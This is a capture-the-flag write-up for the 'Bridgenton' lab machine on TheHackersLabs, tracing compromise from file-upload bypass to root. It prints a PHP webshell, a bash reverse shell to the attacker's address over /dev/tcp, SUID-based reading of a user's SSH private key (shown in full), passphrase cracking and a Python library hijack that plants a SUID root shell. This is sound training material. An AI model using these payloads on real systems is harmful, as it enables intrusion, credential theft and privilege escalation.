Bridgenton – TheHackersLabs Link to heading

  • OS: Linux
  • Difficulty: Easy
  • Platform: TheHackersLabs

‘TheHackersLabs’ Avatar


Summary Link to heading

Bridgenton is an easy/medium box from TheHackersLabs platform. We see the victim machine is running a webpage that allow us to upload a file. After testing which file extension this page accepts, we find one that allows us to upload a malicious PHP file and gain initial access to the victim machine. Once inside, we are able to find an unusual with SUID permissions that allows us to pivot to another user in the system. This last user is able to execute a command with sudo over a Python that is vulnerable to a Library hijacking.


User Link to heading

Starting a scan with Nmap shows 2 ports open: 22 SSH and 80 HTTP:

❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.20.1.125 -oG allPorts

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 18:58 -04
Initiating ARP Ping Scan at 18:58
Scanning 10.20.1.125 [1 port]
Completed ARP Ping Scan at 18:58, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 18:58
Scanning 10.20.1.125 [65535 ports]
Discovered open port 22/tcp on 10.20.1.125
Discovered open port 80/tcp on 10.20.1.125
Completed SYN Stealth Scan at 18:58, 2.54s elapsed (65535 total ports)
Nmap scan report for 10.20.1.125
Host is up, received arp-response (0.00055s latency).
Scanned at 2024-09-02 18:58:54 -04 for 2s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 08:00:27:8D:CA:AA (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.90 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

And checking their versions:

❯ sudo nmap -sVC -p22,80 10.20.1.125 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 18:59 -04
Nmap scan report for 10.20.1.125
Host is up (0.00080s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 ad:fa:fa:1a:e7:99:65:1b:f9:e9:c4:55:be:f5:3a:f3 (ECDSA)
|_  256 d7:87:d7:2e:d9:a3:4e:87:87:3d:b9:b8:ba:89:b5:fd (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Universidad Bridgenton
MAC Address: 08:00:27:8D:CA:AA (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.09 seconds

does not show much info.

Visiting the HTTP site of the victim machine (http://10.20.1.125 in my case) shows a university portal webpage:

Bridgenton 1

Many buttons in this page do not work. However, the ones at the top middle do.

Admisiones button allows us to create an account. Clicking on it redirects to /registro.php. Now we can see:

Bridgenton 2

If I try to create a user, it asks to upload an image. So we simply upload a generic .png image:

Bridgenton 3

But when we attempt to register, we get an error:

Bridgenton 4

Error: Solo se permite cargar archivos con extensión .jpg, .jpeg, .png. Por favor, carga un archivo con una extensión válida.

Basically, it says it is an invalid extension even when it is a valid .png file.

Since the path to register was /registro.php, this could mean that the server is running PHP and, therefore, we can attempt to upload a malicious PHP file. We can get a list from HackTricks or this blog (they are basically the same) and save them into a file that I will call php_extensions_list.txt:

❯ cat php_extensions_list.txt

.php
.php2
.php3
.php4
.php5
.php6
.php7
.phps
.phps
.pht
.phtm
.phtml
.pgif
.shtml
.htaccess
.phar
.inc
.hphp
.ctp
.module

What we will do next is to check what extensions might be “accepted” by the application. For this we open Burpsuite and now I will intercept the request sent to the server when we click on Registrarse button at /registro.php path. We have a request like the following:

Bridgenton 5

Now, I will right click on this request and click on Send to Intruder. Then, go to Intruder tab inside Burpsuite. There, go to Payloads tab, go to Payload settings section, click on Load and select our generated PHP extensions list:

Bridgenton 6

Additionally, at the very bottom of this tab, unselect the option URL-encode these characters.

Then, go to Positions and locate the line that is naming the file being uploaded:

Bridgenton 7

Select the extension (.png in my case) and, at the right side, click on Add §. Now this line looks like:

Bridgenton 8

Finally, click on Start attack button located at the top right. Now a new windows spawn, like the following:

Bridgenton

If we click on Lenght a couple of times, now it will order the requests by its Response Length. We might find some request that has a different length than the others and, therefore, might be a different response:

Bridgenton 10

The request with .phtml extension is different than the others. Double clicking on this request, and then selecting Response shows something interesting:

Bridgenton 11

HTTP/1.1 200 OK
Date: Tue, 03 Sep 2024 23:17:25 GMT
Server: Apache/2.4.57 (Debian)
Vary: Accept-Encoding
Content-Length: 81
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Archivo cargado con éxito. Bienvenido, gunzf0x, te has registrado correctamente.

This means that our file has been uploaded. Now, I will create a simple malicious PHP file and name it image.phtml with the following content:

<?php system($_GET['cmd']); ?>

Now, go back to the website, register again and upload our malicious file image.phtml, that is in fact our PHP malicious file:

Bridgenton 12

Note
If we cannot see our image when we try to upload it, remember to change All Supported Types option to All Files in the File Upload GUI image selector.

Click on Registrarse and we successfully uploaded our file. But where is it located? We can then try to search for directories attempting a Brute Force Directory Listing with Gobuster using a directory dictionary from SecLists. For this we run:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.20.1.125 -x php -t 55

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.20.1.125
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login.php            (Status: 200) [Size: 2392]
/uploads              (Status: 301) [Size: 312] [--> http://10.20.1.125/uploads/]
/.php                 (Status: 403) [Size: 276]
/javascript           (Status: 301) [Size: 315] [--> http://10.20.1.125/javascript/]
/registrar.php        (Status: 200) [Size: 274]
/registro.php         (Status: 200) [Size: 980]
/.php                 (Status: 403) [Size: 276]
/server-status        (Status: 403) [Size: 276]
/bienvenida.php       (Status: 302) [Size: 0] [--> login.php]
Progress: 441120 / 441122 (100.00%)
===============================================================
Finished
===============================================================

where:

  • -w is the dictionary used for the fuzzing (directory searching in this case)
  • -u accepts the url there to search for directories
  • -x searches for files with that extension besides directories. So, for example, the search will attempt to find /example directory and example.php file.
  • -t is the number of threads to use to speed up the process. We get an interesting directory called /uploads. If we visit it http://10.20.1.125/uploads in our internet browser I can see something interesting:

Bridgenton 13

We can then now visit http://10.20.1.125/uploads/image.phtml and it works (since we do not get Error 404 or something similar indicating the page does not exist).

Note
There is, apparently, a cronjob running that removes files from /uploads content after some time. So if we check /uploads directory and our file is not there, we might need to re-upload it.

Now, we can trigger our webshell visiting, for example http://10.20.1.125/uploads/image.phtml?cmd=id. We can get exactly the same result in our terminal using cURL:

❯ curl -s -X GET -G 'http://10.20.1.125/uploads/image.phtml' --data-urlencode 'cmd=id'

uid=33(www-data) gid=33(www-data) groups=33(www-data)

and it works. We have reached Remote Code Execution.

Now we will try to get a reverse shell. For this, start a netcat listener on port 443 running:

❯ nc -lvnp 443

listening on [any] 443 ...

and in our webshell, send to us a reverse shell running:

❯ curl -s -X GET -G 'http://10.20.1.125/uploads/image.phtml' --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.20.1.110/443 0>&1"'

where 10.20.1.110 is my attacker IP address and 443 is the port I am already listening with netcat.

In our listener we get a shell as www-data user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.20.1.110] from (UNKNOWN) [10.20.1.125] 38774
bash: cannot set terminal process group (586): Inappropriate ioctl for device
bash: no job control in this shell
www-data@Bridgenton:/var/www/html/uploads$ whoami

whoami
www-data

After searching for some interesting info in the files of the webserver I find procesar_registro.php file at /var/www/html. We can see its content:

<?php
// Iniciar la sesión
session_start();

// Verificar si se han enviado los datos del formulario
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Verificar que se hayan proporcionado un correo electrónico y contraseña
    if (!empty($_POST['email']) && !empty($_POST['password'])) {
        // Verificar las credenciales del usuario (aquí deberías agregar tu lógica de verificación)
        $email = $_POST['email'];
        $password = $_POST['password'];

        // Ejemplo básico: verificar que el correo electrónico sea "james@thl.com" y la contraseña sea "bridgenton_200189"
        if ($email === "james@thl.com" && $password === "bridgenton_200189") {
            // Inicio de sesión exitoso
            // Establecer el correo electrónico en la sesión
            $_SESSION['email'] = $email;
            // Redirigir al usuario a la página de bienvenida
            header("Location: bienvenida.php");
            exit();
        } else {
            // Credenciales incorrectas, mostrar un mensaje de error
            $mensajeError = "Credenciales incorrectas. Por favor, inténtalo de nuevo.";
        }
    } else {
        // Si no se proporcionaron correo electrónico o contraseña, mostrar un mensaje de error
        $mensajeError = "Por favor, proporcione un correo electrónico y una contraseña.";
    }
} else {
    // Si no se enviaron datos por POST, redirigir al formulario de inicio de sesión
    header("Location: login.php");
    exit();
}

// Si llegamos a este punto, significa que hubo un error en el inicio de sesión
// Mostrar el mensaje de error y permitir que el usuario vuelva a intentarlo
echo $mensajeError;
?>

Basically, it only accepts the email james@thl.com and the password bridgenton_200189 when we try to log in at /login.php from the main website. If we log in with these credentials the site shows the content of bienvenidos.php file, that is does not show anything interesting either.

At this point I decide to search for SUID binaries. We can use find command for this:

www-data@Bridgenton:/var/www/html$ find / -perm -4000 2>/dev/null

/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/base64
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign

Among them all, /usr/bin/base64 is not a usual one. Searching in GTFOBins how to use this file, we find this:

sudo install -m =xs $(which base64) .

LFILE=file_to_read
./base64 "$LFILE" | base64 --decode

Based on the last line, I will try to read some privileged files that only root could read like /etc/shadow. For this we can run:

www-data@Bridgenton:/var/www/html$ /usr/bin/base64 /etc/shadow | base64 --decode

/usr/bin/base64: /etc/shadow: Permission denied

We got permission denied. But why?

If we check more details about /usr/bin/base64 binary we have the reason:

www-data@Bridgenton:/var/www/html$ ls -la /usr/bin/base64

-rwsr-xr-x 1 james james 48016 Sep 20  2022 /usr/bin/base64

The user james is the owner of this binary and, therefore, we can only abuse SUID rights for this user, not for root user.

Since we can read files as james user, and given the fact that SSH service was active, we can try to read SSH keys. For this we could try to read /home/james/.ssh/id_rsa that is the file where usually a SSH is stored at. I check if user james has a directory at /home:

www-data@Bridgenton:/var/www/html$ ls -la /home

total 12
drwxr-xr-x  3 root  root  4096 Mar 29 00:56 .
drwxr-xr-x 18 root  root  4096 Mar 29 00:54 ..
drwx------  4 james james 4096 Sep  3 02:56 james

and he does, so a key might exist.

Based on this we run:

www-data@Bridgenton:/var/www/html$ /usr/bin/base64 /home/james/.ssh/id_rsa | base64 --decode

-----BEGIN OPENSSH PRIVATE KEY-----
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
miPO9cjj/N5uge70CWOIqG2YbP4=
-----END OPENSSH PRIVATE KEY-----

We have a key. I copy its content and save it into a file called james_id_rsa using Vim (or you can use your preferred text editor) and assign to the key the rights 600 with chmod:

❯ vim james_id_rsa

❯ chmod 600 james_id_rsa

Now, try to log in via SSH as james user using this key:

❯ ssh -i james_id_rsa james@10.20.1.125

james@10.20.1.125's password:

But it still asks for a password. Why? Based on this StackOverflow post the key might have a passphrase. To extract it we can use ssh2john to pass it to a crackeable format by JohnTheRipper and attempt to crack its passphrase using a dictionary like the famous rockyou.txt. So, first, hash of the passphrase to a crackeable format:

❯ ssh2john james_id_rsa > james_hash_ssh

where we have saved the hash into a file called james_hash_ssh.

Then, attempt to crack it using JohnTheRipper (john) and rockyou.txt dictionary:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt james_hash_ssh

Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bowwow           (james_id_rsa)
1g 0:00:00:07 DONE (2024-09-03 20:11) 0.1328g/s 42.49p/s 42.49c/s 42.49C/s 50cent..101010
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

and we have a password/passphrase: bowwow.

If we try to log in via SSH with the key and provide the passphrase bowwow now it works:

❯ ssh -i james_id_rsa james@10.20.1.125

james@10.20.1.125's password:
Linux Bridgenton 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Sep  3 03:49:28 2024 from 10.20.1.110
james@Bridgenton:~$

and we can get the user flag at this user desktop.


Root Link to heading

Checking what can this user run with sudo we can see he can run a Python script:

james@Bridgenton:~$ sudo -l

Matching Defaults entries for james on Bridgenton:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User james may run the following commands on Bridgenton:
    (root) NOPASSWD: /usr/bin/python3 /opt/example.py

Checking the contents of /opt/example.py shows a really simple script:

import hashlib

if __name__ == '__main__':


        cadena = "Hola esta es mi cadena"


        print(hashlib.md5(cadena.encode()).hexdigest())

This script hashes the content of a string. That’s all. If we execute it, we confirm it:

james@Bridgenton:~$ sudo /usr/bin/python3 /opt/example.py

81f4463d7bee15a7aa32e49e4d77fef9

I note that this file is located at /opt, if we check the rights in that directory:

james@Bridgenton:~$ ls -ld /opt

drwxr-xr-x 3 james root 4096 sep  4 02:21 /opt

We see that root and james can write in this directory.

However, trying to replace /opt/example.py by a malicious script is not an option, since /opt/example.py only can be written by root:

james@Bridgenton:~$ ls -la /opt/example.py

-rw-r--r-- 1 root root 132 abr  1 11:42 /opt/example.py

We can attempt a Library Hijacking, but first we need to check what is the PATH set for Python. We can check it running:

james@Bridgenton:~$ python3 -c 'import sys; print(sys.path)'

['', '/usr/lib/python311.zip', '/usr/lib/python3.11', '/usr/lib/python3.11/lib-dynload', '/usr/local/lib/python3.11/dist-packages', '/usr/lib/python3/dist-packages']

where the first element '' means that we are executing the actual path. Since the script is located at /opt, this means that the script will first search for libraries at /opt, and then will start searching for libraries at /usr/lib/python311.zip, then /usr/lib/python3.11 and so on…

So we go to /opt directory and write a malicious file there. Since /opt/example.py is calling hashlib library, that means that we have to name our file hashlib.py. Therefore, we will create a malicious library with the content:

#!/usr/bin/python3

import os

os.system("cp $(which bash) /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x")

What this simple script does is that it creates a copy of bash binary and, to that copy, assigns to it SUID rights. Since the owner should be root, we will assign to it owner permissions by root.

We can do all the steps described from above from the terminal just running:

james@Bridgenton:~$ cd /opt # move to /opt directory

james@Bridgenton:/opt$ echo -e '#!/usr/bin/python3\n\nimport os\n\nos.system("cp $(which bash) /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x")' > /opt/hashlib.py # create the malicious file

james@Bridgenton:/opt$ sudo /usr/bin/python3 /opt/example.py # execute the command with 'sudo'

Traceback (most recent call last):
  File "/opt/example.py", line 9, in <module>
    print(hashlib.md5(cadena.encode()).hexdigest())
          ^^^^^^^^^^^
AttributeError: module 'hashlib' has no attribute 'md5'

The program returned an error. That is a good sign.

If we check /tmp directory, our malicious file is there:

james@Bridgenton:/opt$ ls -la /tmp

total 1268
drwxrwxrwt  8 root root    4096 sep  4 02:33 .
drwxr-xr-x 18 root root    4096 mar 29 00:54 ..
drwxrwxrwt  2 root root    4096 sep  4 00:34 .font-unix
-rwsr-xr-x  1 root root 1265648 sep  4 02:33 gunzf0x
drwxrwxrwt  2 root root    4096 sep  4 00:34 .ICE-unix
drwx------  3 root root    4096 sep  4 00:34 systemd-private-3cec9ecbbadd474da98f9c3ee0706548-apache2.service-za8GyY
drwx------  3 root root    4096 sep  4 00:34 systemd-private-3cec9ecbbadd474da98f9c3ee0706548-systemd-logind.service-D5OsPp
drwxrwxrwt  2 root root    4096 sep  4 00:34 .X11-unix
drwxrwxrwt  2 root root    4096 sep  4 00:34 .XIM-unix

where -rwsr-xr-x 1 root root indicates it has SUID permissions and the owner is root as we planned.

Therefore, we can run it with the owner -that was root- permissions with -p flag and become root:

james@Bridgenton:/opt$ /tmp/gunzf0x -p

gunzf0x-5.2# whoami
root

We can finally read the root user flag at /root directory

~ Happy Hacking